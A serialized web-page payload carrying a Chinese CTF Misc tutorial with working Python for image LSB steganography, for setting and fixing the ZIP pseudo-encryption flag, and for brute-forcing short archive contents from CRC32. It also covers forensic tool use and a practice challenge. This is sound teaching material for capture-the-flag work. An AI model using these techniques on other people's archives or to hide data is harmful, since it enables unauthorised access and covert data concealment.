(r,g,b)。\n",[29,12766,12767],{"class":31,"line":400},[29,12768,225],{"emptyLinePlaceholder":224},[29,12770,12771],{"class":31,"line":405},[29,12772,5671],{},[29,12774,12775],{"class":31,"line":411},[29,12776,5676],{},[29,12778,12779],{"class":31,"line":417},[29,12780,5681],{},[29,12782,12783],{"class":31,"line":422},[29,12784,5686],{},[29,12786,12787],{"class":31,"line":428},[29,12788,5691],{},[29,12790,12791],{"class":31,"line":434},[29,12792,12793],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[29,12795,12796],{"class":31,"line":440},[29,12797,5686],{},[29,12799,12800],{"class":31,"line":446},[29,12801,5712],{},[29,12803,12804],{"class":31,"line":452},[29,12805,12806],{},"        # 绿色通道，同样处理。\n",[29,12808,12809],{"class":31,"line":458},[29,12810,5686],{},[29,12812,12813],{"class":31,"line":5704},[29,12814,5729],{},[29,12816,12817],{"class":31,"line":5709},[29,12818,12819],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[29,12821,12822],{"class":31,"line":5715},[29,12823,5741],{},[29,12825,12826],{"class":31,"line":5721},[29,12827,225],{"emptyLinePlaceholder":224},[29,12829,12830],{"class":31,"line":5726},[29,12831,5758],{},[29,12833,12834],{"class":31,"line":5732},[29,12835,12836],{},"# putdata()：把修改后的像素写回图片。\n",[29,12838,12839],{"class":31,"line":5738},[29,12840,5770],{},[29,12842,12843],{"class":31,"line":5744},[29,12844,12845],{},"# save()：保存为 PNG。\n",[29,12847,12848],{"class":31,"line":5750},[29,12849,5782],{},[15,12851,12852,12854,12855,5792,12857,12859],{},[26,12853,5787],{}," 清零最低位（",[26,12856,5791],{},[26,12858,5795],{}," 写入。",[271,12861,12863],{"id":12862},"_33-提取解题视角","3.3 提取（解题视角）",[15,12865,12866,12868],{},[138,12867,519],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,12870,12871,12873],{},[138,12872,528],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[19,12875,12877],{"className":3199,"code":12876,"language":3201,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[26,12878,12879,12883,12887,12891,12896,12900,12904,12908,12913,12917,12921,12925,12930,12934,12938,12942,12947,12951,12956,12960,12964,12968,12972],{"__ignoreMap":24},[29,12880,12881],{"class":31,"line":32},[29,12882,5589],{},[29,12884,12885],{"class":31,"line":166},[29,12886,225],{"emptyLinePlaceholder":224},[29,12888,12889],{"class":31,"line":184},[29,12890,5828],{},[29,12892,12893],{"class":31,"line":196},[29,12894,12895],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[29,12897,12898],{"class":31,"line":206},[29,12899,5843],{},[29,12901,12902],{"class":31,"line":221},[29,12903,5848],{},[29,12905,12906],{"class":31,"line":228},[29,12907,5853],{},[29,12909,12910],{"class":31,"line":234},[29,12911,12912],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[29,12914,12915],{"class":31,"line":246},[29,12916,225],{"emptyLinePlaceholder":224},[29,12918,12919],{"class":31,"line":376},[29,12920,5872],{},[29,12922,12923],{"class":31,"line":382},[29,12924,5877],{},[29,12926,12927],{"class":31,"line":388},[29,12928,12929],{},"    # 每 8 个比特一组，步长为 8。\n",[29,12931,12932],{"class":31,"line":394},[29,12933,5887],{},[29,12935,12936],{"class":31,"line":400},[29,12937,5892],{},[29,12939,12940],{"class":31,"line":405},[29,12941,5897],{},[29,12943,12944],{"class":31,"line":411},[29,12945,12946],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[29,12948,12949],{"class":31,"line":417},[29,12950,5912],{},[29,12952,12953],{"class":31,"line":422},[29,12954,12955],{},"        # 字节 0 是隐藏时追加的结束符。\n",[29,12957,12958],{"class":31,"line":428},[29,12959,4612],{},[29,12961,12962],{"class":31,"line":434},[29,12963,5926],{},[29,12965,12966],{"class":31,"line":440},[29,12967,225],{"emptyLinePlaceholder":224},[29,12969,12970],{"class":31,"line":446},[29,12971,5935],{},[29,12973,12974],{"class":31,"line":452},[29,12975,12976],{},"# decode()：字节串解码成字符串。\n",[15,12978,4372],{},[19,12980,12982],{"className":12981,"code":5946,"language":63,"meta":24},[61],[26,12983,5946],{"__ignoreMap":24},[271,12985,12987],{"id":12986},"_34-工具验证","3.4 工具验证",[19,12989,12991],{"className":21,"code":12990,"language":23,"meta":24,"style":24},"zsteg -a hidden.png\n",[26,12992,12993],{"__ignoreMap":24},[29,12994,12995,12997,12999],{"class":31,"line":32},[29,12996,5972],{"class":35},[29,12998,5975],{"class":39},[29,13000,5348],{"class":47},[15,13002,13003,13004,789],{},"预期输出中包含 ",[26,13005,13006],{},"flag{lsb_steganography}",[10,13008,13010],{"id":13009},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,13012,13013,13015],{},[138,13014,519],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,13017,13018,13020],{},[138,13019,528],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[271,13022,13024],{"id":13023},"_41-zip-结构","4.1 ZIP 结构",[15,13026,13027],{},"本地文件头：",[19,13029,13032],{"className":13030,"code":13031,"language":63,"meta":24},[61],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[26,13033,13031],{"__ignoreMap":24},[15,13035,13036,13037,13040],{},"中央目录头（签名 ",[26,13038,13039],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[271,13042,13044],{"id":13043},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,13046,13047,13049],{},[138,13048,519],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[19,13051,13053],{"className":3199,"code":13052,"language":3201,"meta":24,"style":24},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[26,13054,13055,13060,13064,13069,13074,13078,13083],{"__ignoreMap":24},[29,13056,13057],{"class":31,"line":32},[29,13058,13059],{},"import zipfile\n",[29,13061,13062],{"class":31,"line":166},[29,13063,225],{"emptyLinePlaceholder":224},[29,13065,13066],{"class":31,"line":184},[29,13067,13068],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[29,13070,13071],{"class":31,"line":196},[29,13072,13073],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[29,13075,13076],{"class":31,"line":206},[29,13077,225],{"emptyLinePlaceholder":224},[29,13079,13080],{"class":31,"line":221},[29,13081,13082],{},"data = open('flag.zip', 'rb').read()\n",[29,13084,13085],{"class":31,"line":228},[29,13086,13087],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,13089,4372],{},[19,13091,13094],{"className":13092,"code":13093,"language":63,"meta":24},[61],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[26,13095,13093],{"__ignoreMap":24},[15,13097,68],{},[19,13099,13102],{"className":13100,"code":13101,"language":63,"meta":24},[61],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[26,13103,13101],{"__ignoreMap":24},[271,13105,13107],{"id":13106},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,13109,13110,13112],{},[138,13111,528],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[19,13114,13116],{"className":3199,"code":13115,"language":3201,"meta":24,"style":24},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[26,13117,13118,13123,13127,13132,13137,13142,13146,13151,13156,13161,13165],{"__ignoreMap":24},[29,13119,13120],{"class":31,"line":32},[29,13121,13122],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[29,13124,13125],{"class":31,"line":166},[29,13126,225],{"emptyLinePlaceholder":224},[29,13128,13129],{"class":31,"line":184},[29,13130,13131],{},"# 本地文件头：偏移 6 处标志位置位\n",[29,13133,13134],{"class":31,"line":196},[29,13135,13136],{},"idx = data.find(b'PK\\x03\\x04')\n",[29,13138,13139],{"class":31,"line":206},[29,13140,13141],{},"data[idx + 6] |= 1\n",[29,13143,13144],{"class":31,"line":221},[29,13145,225],{"emptyLinePlaceholder":224},[29,13147,13148],{"class":31,"line":228},[29,13149,13150],{},"# 中央目录头：偏移 8 处标志位置位\n",[29,13152,13153],{"class":31,"line":234},[29,13154,13155],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[29,13157,13158],{"class":31,"line":246},[29,13159,13160],{},"data[idx2 + 8] |= 1\n",[29,13162,13163],{"class":31,"line":376},[29,13164,225],{"emptyLinePlaceholder":224},[29,13166,13167],{"class":31,"line":382},[29,13168,13169],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,13171,13172],{},"修改后的 hexdump：",[19,13174,13177],{"className":13175,"code":13176,"language":63,"meta":24},[61],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[26,13178,13176],{"__ignoreMap":24},[15,13180,13181],{},"尝试读取：",[19,13183,13185],{"className":3199,"code":13184,"language":3201,"meta":24,"style":24},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[26,13186,13187,13191,13195,13200,13205,13210,13215],{"__ignoreMap":24},[29,13188,13189],{"class":31,"line":32},[29,13190,13059],{},[29,13192,13193],{"class":31,"line":166},[29,13194,225],{"emptyLinePlaceholder":224},[29,13196,13197],{"class":31,"line":184},[29,13198,13199],{},"try:\n",[29,13201,13202],{"class":31,"line":196},[29,13203,13204],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[29,13206,13207],{"class":31,"line":206},[29,13208,13209],{},"        print(z.read('flag.txt'))\n",[29,13211,13212],{"class":31,"line":221},[29,13213,13214],{},"except Exception as e:\n",[29,13216,13217],{"class":31,"line":228},[29,13218,13219],{},"    print(type(e).__name__, e)\n",[15,13221,4372],{},[19,13223,13226],{"className":13224,"code":13225,"language":63,"meta":24},[61],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[26,13227,13225],{"__ignoreMap":24},[15,13229,13230],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[271,13232,13234],{"id":13233},"_44-修复","4.4 修复",[15,13236,13237,13239,13240,13243],{},[138,13238,528],{},"：把两处标志位最低位清零（",[26,13241,13242],{},"& 0xfe","），恢复成未加密状态。",[19,13245,13247],{"className":3199,"code":13246,"language":3201,"meta":24,"style":24},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[26,13248,13249,13254,13258,13262,13267,13271,13276,13280,13285,13289,13294],{"__ignoreMap":24},[29,13250,13251],{"class":31,"line":32},[29,13252,13253],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[29,13255,13256],{"class":31,"line":166},[29,13257,225],{"emptyLinePlaceholder":224},[29,13259,13260],{"class":31,"line":184},[29,13261,13136],{},[29,13263,13264],{"class":31,"line":196},[29,13265,13266],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[29,13268,13269],{"class":31,"line":206},[29,13270,13155],{},[29,13272,13273],{"class":31,"line":221},[29,13274,13275],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[29,13277,13278],{"class":31,"line":228},[29,13279,225],{"emptyLinePlaceholder":224},[29,13281,13282],{"class":31,"line":234},[29,13283,13284],{},"open('flag_fixed.zip', 'wb').write(data)\n",[29,13286,13287],{"class":31,"line":246},[29,13288,225],{"emptyLinePlaceholder":224},[29,13290,13291],{"class":31,"line":376},[29,13292,13293],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[29,13295,13296],{"class":31,"line":382},[29,13297,13298],{},"    print(z.read('flag.txt'))\n",[15,13300,4372],{},[19,13302,13305],{"className":13303,"code":13304,"language":63,"meta":24},[61],"b'ctf{zip}'\n",[26,13306,13304],{"__ignoreMap":24},[15,13308,13309,13310,13313],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[26,13311,13312],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,13315,13317],{"id":13316},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,13319,13320,13322],{},[138,13321,519],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,13324,13325,13327],{},[138,13326,528],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,13329,13330],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[19,13332,13334],{"className":3199,"code":13333,"language":3201,"meta":24,"style":24},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[26,13335,13336,13341,13346,13350,13355,13360,13365,13370,13374,13379,13384,13389,13394,13399,13404,13409,13414,13419,13424],{"__ignoreMap":24},[29,13337,13338],{"class":31,"line":32},[29,13339,13340],{},"import zipfile, zlib, itertools\n",[29,13342,13343],{"class":31,"line":166},[29,13344,13345],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[29,13347,13348],{"class":31,"line":184},[29,13349,225],{"emptyLinePlaceholder":224},[29,13351,13352],{"class":31,"line":196},[29,13353,13354],{},"z = zipfile.ZipFile('flag.zip')\n",[29,13356,13357],{"class":31,"line":206},[29,13358,13359],{},"target = z.getinfo('flag.txt').CRC\n",[29,13361,13362],{"class":31,"line":221},[29,13363,13364],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[29,13366,13367],{"class":31,"line":228},[29,13368,13369],{},"print(\"目标 CRC:\", target)\n",[29,13371,13372],{"class":31,"line":234},[29,13373,225],{"emptyLinePlaceholder":224},[29,13375,13376],{"class":31,"line":246},[29,13377,13378],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[29,13380,13381],{"class":31,"line":376},[29,13382,13383],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[29,13385,13386],{"class":31,"line":382},[29,13387,13388],{},"for length in range(1, 5):\n",[29,13390,13391],{"class":31,"line":388},[29,13392,13393],{},"    for tup in itertools.product(charset, repeat=length):\n",[29,13395,13396],{"class":31,"line":394},[29,13397,13398],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[29,13400,13401],{"class":31,"line":400},[29,13402,13403],{},"        s = ''.join(tup).encode()\n",[29,13405,13406],{"class":31,"line":405},[29,13407,13408],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[29,13410,13411],{"class":31,"line":411},[29,13412,13413],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[29,13415,13416],{"class":31,"line":417},[29,13417,13418],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[29,13420,13421],{"class":31,"line":422},[29,13422,13423],{},"            print(\"爆破结果:\", s)\n",[29,13425,13426],{"class":31,"line":428},[29,13427,13428],{},"            exit()\n",[15,13430,13431,13432,13435],{},"实际输出（目标内容 ",[26,13433,13434],{},"ctf1","）：",[19,13437,13440],{"className":13438,"code":13439,"language":63,"meta":24},[61],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[26,13441,13439],{"__ignoreMap":24},[15,13443,13444,13445,13448,13449,13452],{},"注意 ",[26,13446,13447],{},"zlib.crc32"," 返回有符号整数，需要 ",[26,13450,13451],{},"& 0xffffffff"," 归一化。",[10,13454,2999],{"id":2998},[70,13456,13457,13467],{},[73,13458,13459],{},[76,13460,13461,13463,13465],{},[79,13462,3008],{},[79,13464,3011],{},[79,13466,5998],{},[86,13468,13469,13481,13495,13508],{},[76,13470,13471,13473,13476],{},[91,13472,2152],{},[91,13474,13475],{},"看类型",[91,13477,13478],{},[26,13479,13480],{},"file flag.png",[76,13482,13483,13485,13488],{},[91,13484,5405],{},[91,13486,13487],{},"看文件头与结构",[91,13489,13490,1847,13492],{},[26,13491,6025],{},[26,13493,13494],{},"xxd flag.zip | head",[76,13496,13497,13499,13502],{},[91,13498,5497],{},[91,13500,13501],{},"扫描/提取隐藏文件",[91,13503,13504,1847,13506],{},[26,13505,6053],{},[26,13507,6056],{},[76,13509,13510,13512,13515],{},[91,13511,5972],{},[91,13513,13514],{},"LSB 自动检测",[91,13516,13517],{},[26,13518,13519],{},"zsteg -a flag.png",[10,13521,13523],{"id":13522},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,13525,13526,13528],{},[138,13527,519],{},"：把前三节串成一道完整题目。",[15,13530,13531,13533],{},[138,13532,528],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,13535,3097,13536,789],{},[26,13537,6065],{},[15,13539,6068],{},[19,13541,13543],{"className":21,"code":13542,"language":23,"meta":24,"style":24},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[26,13544,13545,13554,13571],{"__ignoreMap":24},[29,13546,13547,13549,13551],{"class":31,"line":32},[29,13548,2152],{"class":35},[29,13550,5376],{"class":47},[29,13552,13553],{"class":162},"          # PNG image data\n",[29,13555,13556,13558,13560,13562,13564,13566,13568],{"class":31,"line":166},[29,13557,2195],{"class":35},[29,13559,5376],{"class":47},[29,13561,2381],{"class":1044},[29,13563,2384],{"class":35},[29,13565,5474],{"class":39},[29,13567,1736],{"class":47},[29,13569,13570],{"class":162},"    # 无输出\n",[29,13572,13573,13575,13577],{"class":31,"line":184},[29,13574,5497],{"class":35},[29,13576,5376],{"class":47},[29,13578,13579],{"class":162},"                   # 无隐藏文件\n",[15,13581,13582],{},"第二步：怀疑 LSB，运行提取脚本：",[19,13584,13586],{"className":13585,"code":5946,"language":63,"meta":24},[61],[26,13587,5946],{"__ignoreMap":24},[15,13589,13590,13591,13593],{},"变体：若提取出的字节不是文本而是 ",[26,13592,5283],{}," 开头，把它保存为 zip，再检查是否伪加密：",[19,13595,13597],{"className":3199,"code":13596,"language":3201,"meta":24,"style":24},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[26,13598,13599,13604],{"__ignoreMap":24},[29,13600,13601],{"class":31,"line":32},[29,13602,13603],{},"with open('extracted.zip', 'wb') as f:\n",[29,13605,13606],{"class":31,"line":166},[29,13607,13608],{},"    f.write(data)\n",[15,13610,13611],{},"然后按第四节流程检查并修复标志位。",[10,13613,3296],{"id":3295},[15,13615,13616,13617,13619,13620,3086,13622,13624],{},"取证主线：",[26,13618,2152],{}," 确认类型 → ",[26,13621,2195],{},[26,13623,5497],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1990,13626,13627],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":166,"depth":166,"links":13629},[13630,13631,13632,13633,13634,13635,13636,13637],{"id":12633,"depth":184,"text":12634},{"id":2085,"depth":184,"text":2086},{"id":12679,"depth":184,"text":12680},{"id":13009,"depth":184,"text":13010},{"id":13316,"depth":184,"text":13317},{"id":2998,"depth":184,"text":2999},{"id":13522,"depth":184,"text":13523},{"id":3295,"depth":184,"text":3296},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":2008,"image":4195,"alt":13640,"tags":13641,"published":224},"隐写与取证深入实战",[788,6164,13642,2013],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":12628,"description":13638},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":4,"title":5,"body":13648,"description":2005,"extension":2006,"meta":15139,"navigation":224,"ogImage":2009,"path":2014,"seo":15141,"stem":2016,"__hash__":2017},{"type":7,"value":13649,"toc":15127},[13650,13652,13654,13670,13674,13679,13681,13727,13733,13735,13737,13811,13813,13815,13817,13819,13821,13849,13853,13953,13955,13967,13969,13971,13985,13987,13992,13994,14000,14008,14012,14014,14040,14042,14047,14049,14051,14073,14077,14079,14101,14103,14109,14111,14115,14121,14123,14145,14147,14173,14177,14179,14201,14205,14207,14237,14241,14243,14269,14273,14275,14291,14293,14305,14311,14313,14317,14327,14329,14333,14341,14343,14357,14361,14363,14377,14379,14417,14423,14425,14427,14467,14471,14473,14475,14537,14541,14543,14547,14561,14563,14567,14595,14597,14623,14625,14630,14632,14658,14660,14662,14688,14690,14692,14712,14714,14716,14718,14732,14736,14740,14768,14774,14778,14804,14806,14808,14810,14850,14852,14854,14856,14858,14876,14878,14883,14885,14903,14907,14909,14935,14941,14943,14947,14963,14965,14969,14995,14999,15001,15007,15021,15023,15049,15051,15059,15065,15073,15075,15079,15117,15121,15123,15125],[10,13651,13],{"id":12},[15,13653,17],{},[19,13655,13656],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,13657,13658],{"__ignoreMap":24},[29,13659,13660,13662,13664,13666,13668],{"class":31,"line":32},[29,13661,36],{"class":35},[29,13663,40],{"class":39},[29,13665,44],{"class":43},[29,13667,48],{"class":47},[29,13669,51],{"class":43},[15,13671,13672,57],{},[26,13673,56],{},[19,13675,13677],{"className":13676,"code":62,"language":63,"meta":24},[61],[26,13678,62],{"__ignoreMap":24},[15,13680,68],{},[70,13682,13683,13691],{},[73,13684,13685],{},[76,13686,13687,13689],{},[79,13688,81],{},[79,13690,84],{},[86,13692,13693,13705,13713,13721],{},[76,13694,13695,13699],{},[91,13696,13697],{},[26,13698,95],{},[91,13700,98,13701,102,13703],{},[26,13702,101],{},[26,13704,105],{},[76,13706,13707,13711],{},[91,13708,13709],{},[26,13710,112],{},[91,13712,115],{},[76,13714,13715,13719],{},[91,13716,13717],{},[26,13718,122],{},[91,13720,125],{},[76,13722,13723,13725],{},[91,13724,130],{},[91,13726,133],{},[15,13728,136,13729,145],{},[138,13730,140,13731,144],{},[26,13732,143],{},[10,13734,149],{"id":148},[15,13736,152],{},[19,13738,13739],{"className":21,"code":155,"language":23,"meta":24,"style":24},[26,13740,13741,13745,13757,13765,13771,13781,13785,13789,13797],{"__ignoreMap":24},[29,13742,13743],{"class":31,"line":32},[29,13744,163],{"class":162},[29,13746,13747,13749,13751,13753,13755],{"class":31,"line":166},[29,13748,169],{"class":35},[29,13750,172],{"class":47},[29,13752,175],{"class":47},[29,13754,178],{"class":47},[29,13756,181],{"class":47},[29,13758,13759,13761,13763],{"class":31,"line":184},[29,13760,187],{"class":35},[29,13762,190],{"class":47},[29,13764,193],{"class":47},[29,13766,13767,13769],{"class":31,"line":196},[29,13768,200],{"class":199},[29,13770,203],{"class":47},[29,13772,13773,13775,13777,13779],{"class":31,"line":206},[29,13774,209],{"class":35},[29,13776,212],{"class":39},[29,13778,215],{"class":47},[29,13780,218],{"class":162},[29,13782,13783],{"class":31,"line":221},[29,13784,225],{"emptyLinePlaceholder":224},[29,13786,13787],{"class":31,"line":228},[29,13788,231],{"class":162},[29,13790,13791,13793,13795],{"class":31,"line":234},[29,13792,237],{"class":35},[29,13794,240],{"class":47},[29,13796,243],{"class":47},[29,13798,13799,13801,13803,13805,13807,13809],{"class":31,"line":246},[29,13800,237],{"class":35},[29,13802,251],{"class":47},[29,13804,254],{"class":39},[29,13806,257],{"class":39},[29,13808,260],{"class":47},[29,13810,243],{"class":47},[15,13812,265],{},[10,13814,269],{"id":268},[271,13816,274],{"id":273},[15,13818,277],{},[15,13820,280],{},[19,13822,13823],{"className":283,"code":284,"language":285,"meta":24,"style":24},[26,13824,13825,13829,13833,13837,13841,13845],{"__ignoreMap":24},[29,13826,13827],{"class":31,"line":32},[29,13828,292],{},[29,13830,13831],{"class":31,"line":166},[29,13832,297],{},[29,13834,13835],{"class":31,"line":184},[29,13836,302],{},[29,13838,13839],{"class":31,"line":196},[29,13840,307],{},[29,13842,13843],{"class":31,"line":206},[29,13844,312],{},[29,13846,13847],{"class":31,"line":221},[29,13848,317],{},[15,13850,320,13851,324],{},[26,13852,323],{},[19,13854,13855],{"className":327,"code":328,"language":209,"meta":24,"style":24},[26,13856,13857,13861,13865,13869,13873,13877,13881,13885,13889,13893,13897,13901,13905,13909,13913,13917,13921,13925,13929,13933,13937,13941,13945,13949],{"__ignoreMap":24},[29,13858,13859],{"class":31,"line":32},[29,13860,335],{},[29,13862,13863],{"class":31,"line":166},[29,13864,340],{},[29,13866,13867],{"class":31,"line":184},[29,13868,345],{},[29,13870,13871],{"class":31,"line":196},[29,13872,350],{},[29,13874,13875],{"class":31,"line":206},[29,13876,225],{"emptyLinePlaceholder":224},[29,13878,13879],{"class":31,"line":221},[29,13880,359],{},[29,13882,13883],{"class":31,"line":228},[29,13884,364],{},[29,13886,13887],{"class":31,"line":234},[29,13888,369],{},[29,13890,13891],{"class":31,"line":246},[29,13892,225],{"emptyLinePlaceholder":224},[29,13894,13895],{"class":31,"line":376},[29,13896,379],{},[29,13898,13899],{"class":31,"line":382},[29,13900,385],{},[29,13902,13903],{"class":31,"line":388},[29,13904,391],{},[29,13906,13907],{"class":31,"line":394},[29,13908,397],{},[29,13910,13911],{"class":31,"line":400},[29,13912,225],{"emptyLinePlaceholder":224},[29,13914,13915],{"class":31,"line":405},[29,13916,408],{},[29,13918,13919],{"class":31,"line":411},[29,13920,414],{},[29,13922,13923],{"class":31,"line":417},[29,13924,225],{"emptyLinePlaceholder":224},[29,13926,13927],{"class":31,"line":422},[29,13928,425],{},[29,13930,13931],{"class":31,"line":428},[29,13932,431],{},[29,13934,13935],{"class":31,"line":434},[29,13936,437],{},[29,13938,13939],{"class":31,"line":440},[29,13940,443],{},[29,13942,13943],{"class":31,"line":446},[29,13944,449],{},[29,13946,13947],{"class":31,"line":452},[29,13948,455],{},[29,13950,13951],{"class":31,"line":458},[29,13952,461],{},[15,13954,464],{},[19,13956,13957],{"className":21,"code":467,"language":23,"meta":24,"style":24},[26,13958,13959],{"__ignoreMap":24},[29,13960,13961,13963,13965],{"class":31,"line":32},[29,13962,209],{"class":35},[29,13964,212],{"class":39},[29,13966,478],{"class":47},[271,13968,482],{"id":481},[15,13970,485],{},[19,13972,13973],{"className":21,"code":488,"language":23,"meta":24,"style":24},[26,13974,13975],{"__ignoreMap":24},[29,13976,13977,1